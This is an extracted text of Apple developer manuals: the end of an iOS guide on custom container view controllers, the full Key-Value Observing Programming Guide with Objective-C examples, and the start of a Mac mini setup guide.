[content removeFromParentViewController]; // 3
}
Here’s what this code does:
1. Callsthe child’s willMoveToParentViewController: method with a parameter of nil to tell the child
that it is being removed.
2. Cleans up the view hierarchy.
Creating Custom Container View Controllers
Implementing a Custom Container View Controller
2012-09-19 | © 2012 Apple Inc. All Rights Reserved.
1173. Calls the child’s removeFromParentViewController method to remove it from the container. Calling
the removeFromParentViewController method automatically calls the child’s
didMoveToParentViewController: method.
For a container with essentially static content, adding and removing view controllers is as simple as that.
Whenever you want to add a new view, add the new view controller as a child first. After the view is removed,
remove the child from the container. However, sometimes you want to animate a new child onto the screen
while simultaneously removing another child. Listing 14-3 shows an example of how to do this.
Listing 14-3 Transitioning between two view controllers
- (void) cycleFromViewController: (UIViewController*) oldC
toViewController: (UIViewController*) newC
{
[oldC willMoveToParentViewController:nil]; // 1
[self addChildViewController:newC];
newC.view.frame = [self newViewStartFrame]; // 2
CGRect endFrame = [self oldViewEndFrame];
[self transitionFromViewController: oldC toViewController: newC // 3
duration: 0.25 options:0
animations:^{
newC.view.frame = oldC.view.frame; // 4
oldC.view.frame = endFrame;
}
completion:^(BOOL finished) {
[oldC removeFromParentViewController]; // 5
[newC didMoveToParentViewController:self];
}];
}
Here’s what this code does:
1. Starts both view controller transitions.
2. Calculates two new frame positions used to perform the transition animation.
Creating Custom Container View Controllers
Implementing a Custom Container View Controller
2012-09-19 | © 2012 Apple Inc. All Rights Reserved.
1183. Calls the
transitionFromViewController:toViewController:duration:options:animations:completion:
method to perform the swap. This method automatically adds the new view, performs the animation, and
then removes the old view.
4. The animation step to perform to get the views swapped.
5. When the transition completes, the view hierarchy isin itsfinalstate,so it finishesthe operation by sending
the final two notifications.
Customizing Appearance and Rotation Callback Behavior
Once you add a child to a container, the container automatically forwards rotation and appearance callbacks
to the child view controllers as soon as an event occurs that requires the message to be forwarded. This is
normally the behavior you want, because it ensures that all events are properly sent. However, sometimes the
default behavior may send those events in an order that doesn’t make sense for your container. For example,
if multiple children are simultaneously changing their view state, you may want to consolidate the changes
so that the appearance callbacks all happen at the same time in a more logical order. To do this, you modify
your container class to take over responsibility for appearance or rotation callbacks.
To take over control of appearance callbacks, you override the
shouldAutomaticallyForwardAppearanceMethodsmethod to return NO. Listing 14-4 showsthe necessary
code.
Listing 14-4 Disabling automatic appearance forwarding
- (BOOL) shouldAutomaticallyForwardAppearanceMethods
{
return NO;
}
To actually inform the child view controller that an appearance transition is occurring, you call the child’s
beginAppearanceTransition:animated: and endAppearanceTransition methods.
If you take over sending these messages, you are also responsible for forwarding them to children when your
container view controller appears and disappears. For example, if your container has a single child referenced
by a child property, your container would forward these messages to the child, as shown in Listing 14-5.
Listing 14-5 Forwarding appearance messages when the container appears or disappears
-(void) viewWillAppear:(BOOL)animated
{
Creating Custom Container View Controllers
Implementing a Custom Container View Controller
2012-09-19 | © 2012 Apple Inc. All Rights Reserved.
119[self.child beginAppearanceTransition: YES animated: animated];
}
-(void) viewDidAppear:(BOOL)animated
{
[self.child endAppearanceTransition];
}
-(void) viewWillDisappear:(BOOL)animated
{
[self.child beginAppearanceTransition: NO animated: animated];
}
-(void) viewDidDisappear:(BOOL)animated
{
[self.child endAppearanceTransition];
}
Forwarding rotation events works almost identically and can be done independently of forwarding appearance
messages. First, you override the shouldAutomaticallyForwardRotationMethods method to return NO.
Then, at times appropriate to your container, you call the following methods:
● willRotateToInterfaceOrientation:duration:
● willAnimateRotationToInterfaceOrientation:duration:
● didRotateFromInterfaceOrientation:
Practical Suggestions for Building a Container View Controller
Designing, developing, and testing a new container view controller takestime. Although the individual behaviors
are straightforward, the controller as a whole can be quite complex. Consider some of the following guidance
when implementing your own container classes:
● Design the view controller first as a content view controller, using regular views owned by the container.
This allows you to focus on getting layout and animation transitions correct without simultaneously
needing to manage parent-child relationships.
Creating Custom Container View Controllers
Practical Suggestions for Building a Container View Controller
2012-09-19 | © 2012 Apple Inc. All Rights Reserved.
120● Never access any view other than the top-level view of the child view controller. Similarly, children should
have only a minimal knowledge of what the parent is doing with the view; do not expose unnecessary
details to the child.
●
If the container needs the child to declare methods or properties, it should define a protocol to enforce
this:
@protocol MyContentContainerProtocol
...
@end
- (void) displayContentController:
(UIViewController*) content;
Creating Custom Container View Controllers
Practical Suggestions for Building a Container View Controller
2012-09-19 | © 2012 Apple Inc. All Rights Reserved.
121This table describes the changes to View Controller Programming Guide for iOS .
Date Notes
Added design guidelines for custom container view controllers and
accessibility in the view controller. Updated the discussions of view
rotation, view layout, and resource management for iOS 6.
2012-09-19
Edited for clarity. Added new glossary entries. Added a section about
determining why a view controller's view appeared or disappeared.
2012-02-16
This revised treatment has been rewritten around using storyboards and
ARC to build new iOS apps.
2012-01-09
2011-01-07 Fixed several typos.
2010-11-12 Added information about iPad-only controller objects.
Changed the title from "View Controller Programming Guide for iPhone
OS."
2010-07-08
2010-05-03 Fixed some typos.
Fixed several typos and updated the figure for the two-step rotation
process.
2010-02-24
Rewrote the document and expanded the content to address iOS 3.0
changes.
2009-10-19
2009-05-28 Added a note about the lack of iOS 3.0 support.
2008-10-15 Updated obsolete references to the iOS Programming Guide.
2008-09-09 Corrected typos.
2012-09-19 | © 2012 Apple Inc. All Rights Reserved.
122
Document Revision HistoryDate Notes
New document that explains how to use view controllers to implement
radio, navigation, and modal interfaces.
2008-06-23
Document Revision History
2012-09-19 | © 2012 Apple Inc. All Rights Reserved.
123container view controller A view controller that
coordinatesthe interaction of other view controllers
in order to present a specific type of user interface.
content view controller A view controller that
displays some content on the screen.
custom segue A segue whose transition effect is
defined by a custom subclass.
modal segue A segue whose transition effect
presents the new view controller using an existing
view controller.
navigation controller A container view controller
used to present hierarchical content.
navigation interface The style of interface that is
presented by a navigation controller’s view. A
navigation interface includes a navigation bar along
the top of the screen to facilitate navigating between
different screens.
navigation stack The list of view controllers
currently being managed by a navigation controller.
The view controllers on the stack represent the
content currently being displayed by a navigation
interface.
page view controller A container view controller
used to display pages of content with an artistic style
similar to that of a physical book.
popover controller A controller class used to
present another view controller’s view in a popover
control.
popover segue A segue whose transition effect
displays the new view controller’s content in a
popover control.
push segue A segue whose transition effect pushes
the new view controller onto a navigation stack of
a navigation controller.
root view controller The topmost view controller
in a view controller hierarchy.
scene A visual representation in Interface Builder
of a view controller and its associated objects,
including the views it loads when displayed.
segue A transition between two scenes, configured
in Interface Builder.
split view controller A container view controller
used in iPad appsto present master-detail interfaces.
tab bar controller A container view controller used
to present a set of distinct interface screens, each
represented by a tab and delivered by a separate
content view controller.
tab bar interface The style of interface that is
presented by a tab bar controller’s view. A tab bar
interface includes one or more tabs at the bottom
of the screen. Tapping a tab changes the currently
displayed screen contents.
view controller An object that descends from the
UIViewController class. View controllers
coordinate the interactions between a set of views
and the custom data presented by those views.
2012-09-19 | © 2012 Apple Inc. All Rights Reserved.
124
Glossaryview controller hierarchy A set of container and
content view controllers arranged in a tree. Non-leaf
nodes always represent container view controllers.
Glossary
2012-09-19 | © 2012 Apple Inc. All Rights Reserved.
125Apple Inc.
© 2012 Apple Inc.
All rights reserved.
No part of this publication may be reproduced,
stored in a retrievalsystem, or transmitted, in any
form or by any means, mechanical, electronic,
photocopying, recording, or otherwise, without
prior written permission of Apple Inc., with the
following exceptions: Any person is hereby
authorized to store documentation on a single
computer for personal use only and to print
copies of documentation for personal use
provided that the documentation contains
Apple’s copyright notice.
No licenses, express or implied, are granted with
respect to any of the technology described in this
document. Apple retains all intellectual property
rights associated with the technology described
in this document. This document is intended to
assist application developers to develop
applications only for Apple-labeled computers.
Apple Inc.
1 Infinite Loop
Cupertino, CA 95014
408-996-1010
Apple, the Apple logo, Cocoa, iBook, iBooks, iPad,
iPhone, Objective-C, and Xcode are trademarks
of Apple Inc., registered in the U.S. and other
countries.
iOS is a trademark or registered trademark of
Cisco in the U.S. and other countries and is used
under license.
Even though Apple has reviewed this document,
APPLE MAKES NO WARRANTY OR REPRESENTATION,
EITHER EXPRESS OR IMPLIED, WITH RESPECT TO THIS
DOCUMENT, ITS QUALITY, ACCURACY,
MERCHANTABILITY, OR FITNESS FOR A PARTICULAR
PURPOSE.ASARESULT, THISDOCUMENT IS PROVIDED
“AS IS,” AND YOU, THE READER, ARE ASSUMING THE
ENTIRE RISK AS TO ITS QUALITY AND ACCURACY.
IN NO EVENT WILL APPLE BE LIABLE FOR DIRECT,
INDIRECT, SPECIAL, INCIDENTAL,OR CONSEQUENTIAL
DAMAGES RESULTING FROM ANY DEFECT OR
INACCURACY IN THIS DOCUMENT, even if advised of
the possibility of such damages.
THE WARRANTY AND REMEDIES SET FORTH ABOVE
ARE EXCLUSIVE AND IN LIEU OF ALL OTHERS, ORAL
OR WRITTEN, EXPRESS OR IMPLIED. No Apple dealer,
agent, or employee is authorized to make any
modification, extension, or addition to this warranty.
Some states do not allow the exclusion or limitation
of implied warranties or liability for incidental or
consequential damages, so the above limitation or
exclusion may not apply to you. This warranty gives
you specific legal rights, and you may also have other
rights which vary from state to state.
Key-Value Observing
Programming GuideContents
Introduction to Key-Value Observing Programming Guide 4
At a Glance 4
Registering for Key-Value Observing 7
Registering as an Observer 7
Receiving Notification of a Change 8
Removing an Object as an Observer 10
KVO Compliance 11
Automatic Change Notification 11
Manual Change Notification 12
Registering Dependent Keys 15
To-one Relationships 15
To-many Relationships 16
Key-Value Observing Implementation Details 19
Document Revision History 20
2012-07-17 | © 2003, 2012 Apple Inc. All Rights Reserved.
2Listings
Registering for Key-Value Observing 7
Listing 1 Registering the inspector as an observer of the openingBalance property 7
Listing 2 Implementation of observeValueForKeyPath:ofObject:change:context: 9
Listing 3 Removing the inspector as an observer of openingBalance 10
KVO Compliance 11
Listing 1 Examples of method calls that cause KVO change notifications to be emitted 11
Listing 2 Example implementation of automaticallyNotifiesObserversForKey: 12
Listing 3 Example accessor method implementing manual notification 13
Listing 4 Testing the value for change before providing notification 13
Listing 5 Nesting change notifications for multiple keys 13
Listing 6 Implementation of manual observer notification in a to-many relationship 14
Registering Dependent Keys 15
Listing 1 Example implementation of keyPathsForValuesAffectingValueForKey: 15
Listing 2 Example implementation of the keyPathsForValuesAffecting naming convention
16
2012-07-17 | © 2003, 2012 Apple Inc. All Rights Reserved.
3Key-value observing is a mechanism that allows objects to be notified of changes to specified properties of
other objects.
Important: In order to understand key-value observing, you must first understand key-value coding.
At a Glance
Key-value observing provides a mechanism that allows objects to be notified of changes to specific properties
of other objects. It is particularly useful for communication between model and controller layers in an application.
(In OS X, the controller layer binding technology relies heavily on key-value observing.) A controller object typically
observes properties of model objects, and a view object observes properties of model objects through a
controller. In addition, however, a model object may observe other model objects (usually to determine when
a dependent value changes) or even itself (again to determine when a dependent value changes).
You can observe properties including simple attributes, to-one relationships, and to-many relationships.
Observers of to-many relationships are informed of the type of change made—as well as which objects are
involved in the change.
There are three steps to setting up an observer of a property. Understanding these three steps provides a clear
illustration of how KVO works.
1. First, see whether you have a scenario where key-value observing could be beneficial, for example, an
object that needs to be notified when any changes are made to a specific property in another object.
BankObject
@property int accountBalance
PersonObject
For example, a PersonObject will want to be aware of any changes made to their accountBalance in
the BankObject.
2012-07-17 | © 2003, 2012 Apple Inc. All Rights Reserved.
4
Introduction to Key-Value Observing Programming
Guide2. The PersonObject must register as an observer of the BankObject’s accountBalance property by
sending an addObserver:forKeyPath:options:context: message.
BankObject PersonObject
Connection established
[bankInstance addObserver:personInstance
forKeyPath:@"accountBalance"
options:NSKeyValueObservingOptionNew
context:NULL];
Note: The addObserver:forKeyPath:options:context:method establishes a connection
between the instances of the objects that you specify. A connection is not established between
the two classes, but rather between the two specified instances of the objects.
3. In order to respond to change notifications, the observer must implement the
observeValueForKeyPath:ofObject:change:context: method. This method implementation
defines how the observer responds to change notifications. It is in this method that you can customize
your response to a change in one of the observed properties.
BankObject PersonObject
Connection established
-(void) observeValueForKeyPath:(NSString *)keyPath
ofObject:(id)object
change:(NSDictionary *)change
context:(void *)context
{
//custom implementation
//be sure to call the superclass’ implementation
//if the superclass implements it
}
“Registering for Key-Value Observing” (page 7) describes how to register and receive observation
notifications.
Introduction to Key-Value Observing Programming Guide
At a Glance
2012-07-17 | © 2003, 2012 Apple Inc. All Rights Reserved.
54. The observeValueForKeyPath:ofObject:change:context: method is automatically invoked when
the value of an observed property is changed in a KVO-compliant manner, or if a key upon which it depends
is changed.
BankObject PersonObject
Automatically
notifies person
Person can react
accordingly in
customized method
[bankInstance setAccountBalance:50];
“Registering Dependent Keys” (page 15) explains how to specify that the value of a key is dependent on
the value of another key.
KVO’s primary benefit is that you don’t have to implement your own scheme to send notifications every time
a property changes. Its well-defined infrastructure has framework-level support that makes it easy to
adopt—typically you do not have to add any code to your project. In addition, the infrastructure is already
full-featured, which makes it easy to support multiple observers for a single property, as well as dependent
values.
“KVO Compliance” (page 11) describes the difference between automatic and manual key-value observing,
and how to implement both.
Unlike notifications that use NSNotificationCenter, there is no central object that provides change
notification for all observers. Instead, notifications are sent directly to the observing objects when changes are
made. NSObject provides this base implementation of key-value observing, and you should rarely need to
override these methods.
“Key-Value Observing Implementation Details ” (page 19) describes how key-value observing is implemented.
Introduction to Key-Value Observing Programming Guide
At a Glance
2012-07-17 | © 2003, 2012 Apple Inc. All Rights Reserved.
6In order to receive key-value observing notifications for a property, three things are required:
● The observed class must be key-value observing compliant for the property that you wish to observe.
● You must register the observing object with the observed object, using the method
addObserver:forKeyPath:options:context:.
● The observing class must implement observeValueForKeyPath:ofObject:change:context:.
Important: Not all classes are KVO-compliant for all properties. You can ensure your own classes are
KVO-compliant by following the steps described in “KVO Compliance” (page 11). Typically properties in
Apple-supplied frameworks are only KVO-compliant if they are documented as such.
Registering as an Observer
In order to be notified of changes to a property, an observing object must first register with the object to be
observed by sending it an addObserver:forKeyPath:options:context: message, passing the observer
object and the key path of the property to be observed. The options parameter specifies the information that
is provided to the observer when a change notification is sent. Using the option
NSKeyValueObservingOptionOld specifies that the original object value is provided to the observer as an
entry in the change dictionary. Specifying the NSKeyValueObservingOptionNew option provides the new
value as an entry in the change dictionary. To receive both values, you would bitwise OR the option constants.
The example in Listing 1 demonstrates registering an inspector object for the property openingBalance.
Listing 1 Registering the inspector as an observer of the openingBalance property
- (void)registerAsObserver {
/*
Register 'inspector' to receive change notifications for the "openingBalance"
property of
the 'account' object and specify that both the old and new values of
"openingBalance"
should be provided in the observe… method.
2012-07-17 | © 2003, 2012 Apple Inc. All Rights Reserved.
7
Registering for Key-Value Observing*/
[account addObserver:inspector
forKeyPath:@"openingBalance"
options:(NSKeyValueObservingOptionNew |
NSKeyValueObservingOptionOld)
context:NULL];
}
When you register an object as an observer, you can also provide a context pointer. The context pointer is
provided to the observer when observeValueForKeyPath:ofObject:change:context: is invoked. The
context pointer can be a C pointer or an object reference. The context pointer can be used as a unique identifier
to determine the change that is being observed, or to provide some other data to the observer.
Note: The key-value observing addObserver:forKeyPath:options:context: method does
not maintain strong references to the observing object, the observed objects, or the context. You
should ensure that you maintain strong references to the observing, and observed, objects, and the
context as necessary.
Receiving Notification of a Change
When the value of an observed property of an object changes, the observer receives an
observeValueForKeyPath:ofObject:change:context: message. All observers must implement this
method.
The observer is provided the object and key path that triggered the observer notification, a dictionary containing
details about the change, and the context pointer that was provided when the observer was registered.
The change dictionary entry NSKeyValueChangeKindKey provides information about the type of change
that occurred. If the value of the observed object has changed, the NSKeyValueChangeKindKey entry returns
NSKeyValueChangeSetting. Depending on the options specified when the observer was registered, the
NSKeyValueChangeOldKey and NSKeyValueChangeNewKey entries in the change dictionary contain the
values of the property before, and after, the change. If the property is an object, the value is provided directly.
If the property is a scalar or a C structure, the value is wrapped in an NSValue object (as with key-value coding).
Registering for Key-Value Observing
Receiving Notification of a Change
2012-07-17 | © 2003, 2012 Apple Inc. All Rights Reserved.
8If the observed property is a to-many relationship, the NSKeyValueChangeKindKey entry also indicates
whether objects in the relationship were inserted, removed, or replaced by returning
NSKeyValueChangeInsertion, NSKeyValueChangeRemoval, or NSKeyValueChangeReplacement,
respectively.
The change dictionary entry for NSKeyValueChangeIndexesKey is an NSIndexSet object specifying the
indexes in the relationship that changed. If NSKeyValueObservingOptionNew or
NSKeyValueObservingOptionOld are specified as options when the observer is registered, the
NSKeyValueChangeOldKey and NSKeyValueChangeNewKey entries in the change dictionary are arrays
containing the values of the related objects before, and after, the change.
The example in Listing 2 shows the observeValueForKeyPath:ofObject:change:context:
implementation for an inspector that reflects the old and new values of the property openingBalance, as
registered in Listing 1 (page 7).
Listing 2 Implementation of observeValueForKeyPath:ofObject:change:context:
- (void)observeValueForKeyPath:(NSString *)keyPath
ofObject:(id)object
change:(NSDictionary *)change
context:(void *)context {
if ([keyPath isEqual:@"openingBalance"]) {
[openingBalanceInspectorField setObjectValue:
[change objectForKey:NSKeyValueChangeNewKey]];
}
/*
Be sure to call the superclass's implementation *if it implements it*.
NSObject does not implement the method.
*/
[super observeValueForKeyPath:keyPath
ofObject:object
change:change
context:context];
}
Registering for Key-Value Observing
Receiving Notification of a Change
2012-07-17 | © 2003, 2012 Apple Inc. All Rights Reserved.
9Removing an Object as an Observer
You remove a key-value observer by sending the observed object a removeObserver:forKeyPath: message,
specifying the observing object and the key path. The example in Listing 3 removesthe inspector as an observer
of openingBalance.
Listing 3 Removing the inspector as an observer of openingBalance
- (void)unregisterForChangeNotification {
[observedObject removeObserver:inspector forKeyPath:@"openingBalance"];
}
If the context is an object, you must keep a strong reference to it until removing the observer. After receiving
a removeObserver:forKeyPath: message, the observing object will no longer receive any
observeValueForKeyPath:ofObject:change:context: messagesfor the specified key path and object.
Registering for Key-Value Observing
Removing an Object as an Observer
2012-07-17 | © 2003, 2012 Apple Inc. All Rights Reserved.
10In order to be considered KVO-compliant for a specific property, a class must ensure the following:
● The class must be key-value coding compliant for the property, as specified in “Ensuring KVC Compliance”.
KVO supports the same data types as KVC.
● The class emits KVO change notifications for the property.
● Dependent keys are registered appropriately (see “Registering Dependent Keys” (page 15)).
There are two techniques for ensuring the change notifications are emitted. Automatic support is provided by
NSObject and is by default available for all properties of a class that are key-value coding compliant. Typically,
if you follow standard Cocoa coding and naming conventions, you can use automatic change notifications—you
don’t have to write any additional code.
Manual change notification provides additional control over when notifications are emitted, and requires
additional coding. You can control automatic notifications for properties of your subclass by implementing
the class method automaticallyNotifiesObserversForKey:.
Automatic Change Notification
NSObject provides a basic implementation of automatic key-value change notification. Automatic key-value
change notification informs observers of changes made using key-value compliant accessors, as well as the
key-value coding methods. Automatic notification is also supported by the collection proxy objects returned
by, for example, mutableArrayValueForKey:.
The examples shown in Listing 1 result in any observers of the property name to be notified of the change.
Listing 1 Examples of method calls that cause KVO change notifications to be emitted
// Call the accessor method.
[account setName:@"Savings"];
// Use setValue:forKey:.
[account setValue:@"Savings" forKey:@"name"];
2012-07-17 | © 2003, 2012 Apple Inc. All Rights Reserved.
11
KVO Compliance// Use a key path, where 'account' is a kvc-compliant property of 'document'.
[document setValue:@"Savings" forKeyPath:@"account.name"];
// Use mutableArrayValueForKey: to retrieve a relationship proxy object.
Transaction *newTransaction = <#Create a new transaction for the account#>;
NSMutableArray *transactions = [account mutableArrayValueForKey:@"transactions"];
[transactions addObject:newTransaction];
Manual Change Notification
Manual change notification provides more granular control over how and when notifications are sent to
observers. This can be useful to help minimize triggering notifications that are unnecessary, or to group a
number of changes into a single notification.
A class that implements manual notification must override the NSObject implementation of
automaticallyNotifiesObserversForKey:. It is possible to use both automatic and manual observer
notifications in the same class. For properties that perform manual notification, the subclass implementation
of automaticallyNotifiesObserversForKey: should return NO. A subclassimplementation should invoke
super for any unrecognized keys. The example in Listing 2 enables manual notification for the openingBalance
property allowing the superclass to determine the notification for all other keys.
Listing 2 Example implementation of automaticallyNotifiesObserversForKey:
+ (BOOL)automaticallyNotifiesObserversForKey:(NSString *)theKey {
BOOL automatic = NO;
if ([theKey isEqualToString:@"openingBalance"]) {
automatic = NO;
}
else {
automatic = [super automaticallyNotifiesObserversForKey:theKey];
}
return automatic;
}
KVO Compliance
Manual Change Notification
2012-07-17 | © 2003, 2012 Apple Inc. All Rights Reserved.
12To implement manual observer notification, you invoke willChangeValueForKey: before changing the
value, and didChangeValueForKey: after changing the value. The example in Listing 3 implements manual
notifications for the openingBalance property.
Listing 3 Example accessor method implementing manual notification
- (void)setOpeningBalance:(double)theBalance {
[self willChangeValueForKey:@"openingBalance"];
_openingBalance = theBalance;
[self didChangeValueForKey:@"openingBalance"];
}
You can minimize sending unnecessary notifications by first checking if the value has changed. The example
in Listing 4 tests the value of openingBalance and only provides the notification if it has changed.
Listing 4 Testing the value for change before providing notification
- (void)setOpeningBalance:(double)theBalance {
if (theBalance != _openingBalance) {
[self willChangeValueForKey:@"openingBalance"];
_openingBalance = theBalance;
[self didChangeValueForKey:@"openingBalance"];
}
}
If a single operation causes multiple keysto change you must nest the change notifications asshown in Listing
5.
Listing 5 Nesting change notifications for multiple keys
- (void)setOpeningBalance:(double)theBalance {
[self willChangeValueForKey:@"openingBalance"];
[self willChangeValueForKey:@"itemChanged"];
_openingBalance = theBalance;
_itemChanged = _itemChanged+1;
[self didChangeValueForKey:@"itemChanged"];
[self didChangeValueForKey:@"openingBalance"];
}
KVO Compliance
Manual Change Notification
2012-07-17 | © 2003, 2012 Apple Inc. All Rights Reserved.
13In the case of an ordered to-many relationship, you must specify not only the key that changed, but also the
type of change and the indexes of the objects involved. The type of change is an NSKeyValueChange that
specifies NSKeyValueChangeInsertion, NSKeyValueChangeRemoval, or
NSKeyValueChangeReplacement. The indexes of the affected objects are passed as an NSIndexSet object.
The code fragment in Listing 6 demonstrates how to wrap a deletion of objects in the to-many relationship
transactions.
Listing 6 Implementation of manual observer notification in a to-many relationship
- (void)removeTransactionsAtIndexes:(NSIndexSet *)indexes {
[self willChange:NSKeyValueChangeRemoval
valuesAtIndexes:indexes forKey:@"transactions"];
// Remove the transaction objects at the specified indexes.
[self didChange:NSKeyValueChangeRemoval
valuesAtIndexes:indexes forKey:@"transactions"];
}
KVO Compliance
Manual Change Notification
2012-07-17 | © 2003, 2012 Apple Inc. All Rights Reserved.
14There are many situations in which the value of one property depends on that of one or more other attributes
in another object. If the value of one attribute changes, then the value of the derived property should also be
flagged for change. How you ensure that key-value observing notifications are posted for these dependent
properties depends on the cardinality of the relationship.
To-one Relationships
To trigger notifications automatically for a to-on relationship you should either override
keyPathsForValuesAffectingValueForKey: or implement a suitable method that follows the pattern
it defines for registering dependent keys.
For example, the full name of a person is dependent on both the first and last names. A method that returns
the full name could be written as follows:
- (NSString *)fullName {
return [NSString stringWithFormat:@"%@ %@",firstName, lastName];
}
An application observing the fullName property must be notified when either the firstName or lastName
properties change, as they affect the value of the property.
One solution is to override keyPathsForValuesAffectingValueForKey: specifying that the fullName
property of a person is dependent on the lastName and firstName properties. Listing 1 (page 15) shows
an example implementation of such a dependency:
Listing 1 Example implementation of keyPathsForValuesAffectingValueForKey:
+ (NSSet *)keyPathsForValuesAffectingValueForKey:(NSString *)key {
NSSet *keyPaths = [super keyPathsForValuesAffectingValueForKey:key];
if ([key isEqualToString:@"fullName"]) {
2012-07-17 | © 2003, 2012 Apple Inc. All Rights Reserved.
15
Registering Dependent KeysNSArray *affectingKeys = @[@"lastName", @"firstName"];
keyPaths = [keyPaths setByAddingObjectsFromArray:affectingKeys];
}
return keyPaths;
}
Your override should typically invoke super and return a set that includes any members in the set that result
from doing that (so as not to interfere with overrides of this method in superclasses).
You can also achieve the same result by implementing a class method that follows the naming convention
keyPathsForValuesAffecting, where is the name of the attribute (first letter capitalized)
that is dependent on the values. Using this pattern the code in Listing 1 (page 15) could be rewritten as a class
method named keyPathsForValuesAffectingFullName as shown in Listing 2 (page 16).
Listing 2 Example implementation of the keyPathsForValuesAffecting naming convention
+ (NSSet *)keyPathsForValuesAffectingFullName {
return [NSSet setWithObjects:@"lastName", @"firstName", nil];
}
You can't override the keyPathsForValuesAffectingValueForKey: method when you add a computed
property to an existing class using a category, because you're not supposed to override methods in categories.
In that case, implement a matching keyPathsForValuesAffecting class method to take advantage
of this mechanism.
Note: You cannot set up dependencies on to-many relationships by implementing
keyPathsForValuesAffectingValueForKey:. Instead, you must observe the appropriate
attribute of each of the objects in the to-many collection and respond to changes in their values by
updating the dependent key yourself. The following section shows a strategy for dealing with this
situation.
To-many Relationships
The keyPathsForValuesAffectingValueForKey: method does not support key-paths that include a
to-many relationship. For example, suppose you have a Department object with a to-many relationship
(employees) to a Employee, and Employee has a salary attribute. You might want the Department object have
Registering Dependent Keys
To-many Relationships
2012-07-17 | © 2003, 2012 Apple Inc. All Rights Reserved.
16a totalSalary attribute that is dependent upon the salaries of all the Employees in the relationship. You can
not do this with, for example, keyPathsForValuesAffectingTotalSalary and returning
employees.salary as a key.
There are two possible solutions in both situations:
1. You can use key-value observing to register the parent (in this example, Department) as an observer of
the relevant attribute of all the children (Employeesin this example). You must add and remove the parent
as an observer as child objects are added to and removed from the relationship (see “Registering for
Key-Value Observing” (page 7)). In the observeValueForKeyPath:ofObject:change:context:
method you update the dependent value in response to changes, as illustrated in the following code
fragment:
- (void)observeValueForKeyPath:(NSString *)keyPath ofObject:(id)object
change:(NSDictionary *)change context:(void *)context {
if (context == totalSalaryContext) {
[self updateTotalSalary];
}
else
// deal with other observations and/or invoke super...
}
- (void)updateTotalSalary {
[self setTotalSalary:[self valueForKeyPath:@"employees.@sum.salary"]];
}
- (void)setTotalSalary:(NSNumber *)newTotalSalary {
if (totalSalary != newTotalSalary) {
[self willChangeValueForKey:@"totalSalary"];
_totalSalary = newTotalSalary;
[self didChangeValueForKey:@"totalSalary"];
}
}
- (NSNumber *)totalSalary {
return _totalSalary;
Registering Dependent Keys
To-many Relationships
2012-07-17 | © 2003, 2012 Apple Inc. All Rights Reserved.
17}
2. If you're using Core Data, you can register the parent with the application's notification center as an
observer of its managed object context. The parentshould respond to relevant change notifications posted
by the children in a manner similar to that for key-value observing.
Registering Dependent Keys
To-many Relationships
2012-07-17 | © 2003, 2012 Apple Inc. All Rights Reserved.
18Automatic key-value observing is implemented using a technique called isa-swizzling.
The isa pointer, as the name suggests, points to the object's class which maintains a dispatch table. This
dispatch table essentially contains pointers to the methods the class implements, among other data.
When an observer is registered for an attribute of an object the isa pointer of the observed object is modified,
pointing to an intermediate class rather than at the true class. As a result the value of the isa pointer does not
necessarily reflect the actual class of the instance.
You should never rely on the isa pointer to determine class membership. Instead, you should use the class
method to determine the class of an object instance.
2012-07-17 | © 2003, 2012 Apple Inc. All Rights Reserved.
19
Key-Value Observing Implementation DetailsThis table describes the changes to Key-Value Observing Programming Guide .
Date Notes
2012-07-17 Updated to use new Objective-C features.
ARCification
2011-03-08 Clarified terminology in "Registering Dependent Keys."
2009-08-14 Added links to some key Cocoa definitions.
2009-05-09 Corrected minor typo.
2009-05-06 Clarified Core Data requirement in Registering Dependent Keys.
2009-03-04 Updated Registering Dependent Keys chapter.
2006-06-28 Updated code examples.
Clarified that you should not release objects before calling
willChangeValueForKey: methods. Noted that Java is not supported.
2005-07-07
2004-08-31 Corrected minor typos.
Clarified the need to nest manual key-value change notifications.
2004-03-20 Modified source example in “Registering Dependent Keys” (page 15).
Corrected source example in “Registering for Key-Value Observing” (page
7). Added article “Key-Value Observing Implementation Details ” (page
19).
2004-02-22
2003-10-15 Initial publication of Key-Value Observing.
2012-07-17 | © 2003, 2012 Apple Inc. All Rights Reserved.
20
Document Revision HistoryApple Inc.
© 2003, 2012 Apple Inc.
All rights reserved.
No part of this publication may be reproduced,
stored in a retrievalsystem, or transmitted, in any
form or by any means, mechanical, electronic,
photocopying, recording, or otherwise, without
prior written permission of Apple Inc., with the
following exceptions: Any person is hereby
authorized to store documentation on a single
computer for personal use only and to print
copies of documentation for personal use
provided that the documentation contains
Apple’s copyright notice.
No licenses, express or implied, are granted with
respect to any of the technology described in this
document. Apple retains all intellectual property
rights associated with the technology described
in this document. This document is intended to
assist application developers to develop
applications only for Apple-labeled computers.
Apple Inc.
1 Infinite Loop
Cupertino, CA 95014
408-996-1010
Apple, the Apple logo, Cocoa, Mac, and
Objective-C are trademarks of Apple Inc.,
registered in the U.S. and other countries.
Java is a registered trademark of Oracle and/or
its affiliates.
Even though Apple has reviewed this document,
APPLE MAKES NO WARRANTY OR REPRESENTATION,
EITHER EXPRESS OR IMPLIED, WITH RESPECT TO THIS
DOCUMENT, ITS QUALITY, ACCURACY,
MERCHANTABILITY, OR FITNESS FOR A PARTICULAR
PURPOSE.ASARESULT, THISDOCUMENT IS PROVIDED
“AS IS,” AND YOU, THE READER, ARE ASSUMING THE
ENTIRE RISK AS TO ITS QUALITY AND ACCURACY.
IN NO EVENT WILL APPLE BE LIABLE FOR DIRECT,
INDIRECT, SPECIAL, INCIDENTAL,OR CONSEQUENTIAL
DAMAGES RESULTING FROM ANY DEFECT OR
INACCURACY IN THIS DOCUMENT, even if advised of
the possibility of such damages.
THE WARRANTY AND REMEDIES SET FORTH ABOVE
ARE EXCLUSIVE AND IN LIEU OF ALL OTHERS, ORAL
OR WRITTEN, EXPRESS OR IMPLIED. No Apple dealer,
agent, or employee is authorized to make any
modification, extension, or addition to this warranty.
Some states do not allow the exclusion or limitation
of implied warranties or liability for incidental or
consequential damages, so the above limitation or
exclusion may not apply to you. This warranty gives
you specific legal rights, and you may also have other
rights which vary from state to state.
Let’s get started
When you start your Mac mini for the first time, Setup Assistant helps you
get going. Just follow a few simple steps to quickly connect to your Wi-Fi
network, transfer your stuff from another Mac or a PC, and create a user
account for your Mac.
You’ll also be able to log in with your Apple ID. This allows you to shop the
App Store, iTunes Store, and Apple Online Store. It lets you keep in touch
using Messages and FaceTime. And it lets you access iCloud, which is
automatically set up on your Mac in apps like Mail, Contacts, and Calendar.
If you don’t have an Apple ID, you can create one in Setup Assistant.
Get to know your desktop
